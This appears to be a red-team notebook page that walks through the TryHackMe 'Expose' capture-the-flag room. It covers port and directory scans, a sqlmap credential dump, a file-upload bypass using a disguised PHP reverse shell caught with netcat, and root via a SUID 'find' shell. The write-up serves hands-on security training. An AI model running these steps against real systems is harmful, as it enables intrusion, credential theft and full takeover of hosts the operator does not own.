> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/expose.md).

# Expose

**Room Link:** <https://tryhackme.com/room/expose>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/FJyTOJQS2XbvsOvhWT8w" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/jZ9mRmLdykOgDoQsTTpR" alt=""><figcaption></figcaption></figure>

### TCP/1337 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/LkLsykmgf2AkGe0rnCeH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ea6F67Id6wSZ2WHrBe6n" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Oc4spI3ABu2N2qPVGVNn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gELo1fi1E56VV4rGBa5C" alt=""><figcaption></figcaption></figure>

**Kali**

```
sqlmap -r request.txt --dbms=mysql --dump
```

<figure><img src="/files/L8PHBwykL4GmEy0S0hyw" alt=""><figcaption></figcaption></figure>

```
+--------------------------------------+--------------------------------------+--------------------------------------+--------------------------------------+
| id                                   | email                                | created                              | password                             |
+--------------------------------------+--------------------------------------+--------------------------------------+--------------------------------------+
| 2023-02-21 09:05:46                  | 2023-02-21 09:05:46                  | 2023-02-21 09:05:46                  | 2023-02-21 09:05:46                  |
| hacker@root.thm                      | hacker@root.thm                      | hacker@root.thm                      | hacker@root.thm                      |
| 1                                    | 1                                    | 1                                    | 1                                    |
| VeryDifficultPassword!!#@#@!#!@#1231 | VeryDifficultPassword!!#@#@!#!@#1231 | VeryDifficultPassword!!#@#@!#!@#1231 | VeryDifficultPassword!!#@#@!#!@#1231 |
+--------------------------------------+--------------------------------------+--------------------------------------+--------------------------------------+

```

There are two URLs here, the second one needs a username which we don't have so we'll start with the first one.

<figure><img src="/files/LbwC1NQx1Jv2nj4m0BYk" alt=""><figcaption></figcaption></figure>

```
+----+------------------------------+-----------------------------------------------------+
| id | url                          | password                                            |
+----+------------------------------+-----------------------------------------------------+
| 1  | /file1010111/index.php       | 69c66901194a6486176e81f5945b8929 (easytohack)       |
| 3  | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+

```

**Brower - /file1010111/index.php** &#x20;

```
Username: hacker@root.thm
Password: VeryDifficultPassword!!#@#@!#!@#1231
```

<figure><img src="/files/qjlG41gVFlKltjp7Iq9J" alt=""><figcaption></figcaption></figure>

**Browser**

```
Password: easytohack
```

<figure><img src="/files/G8N4C1yRSM3mUOumVyY5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qDzBm2pKMWyE7WaNL2EJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BYUKB8ssSlvTBVx2P0Lj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r0GGVUr260qfKawvaFkf" alt=""><figcaption></figcaption></figure>

**Browser - /upload-cv00101011/index.php**&#x20;

```
Password: zeamkish
```

<figure><img src="/files/0T7XmFVNgGNXJyWHhoXt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ov94WuM6dIYyStzZ7KIX" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cd php-reverse-shell/
cp php-reverse-shell.php php-reverse-shell.php#.png
nc -lvnp 1337 
```

<figure><img src="/files/vdSbJuuFltgQvFIuX06C" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ogVWLuTmoN4xkfNUe8Bu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OYjwH0ngQ0RA08EfXnTD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aHnON5mKlYGW9x2kDUdp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gkVSjDtNYruTjITXlIZ4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uZJwaeku28kQt0dAmzuN" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

<figure><img src="/files/r8k0tkEVHtDCy6jncgaq" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh zeamkish@$VICTIM
Password: easytohack@123
```

## Privilege Escalation

**Victim**

```
find / -perm -4000 2>/dev/null
find . -exec /bin/sh -p \; -quit
```

<figure><img src="/files/Nha7PNZFHhbppRLO0O5t" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PHjL95psh84NBFTsts9Q" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/expose.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
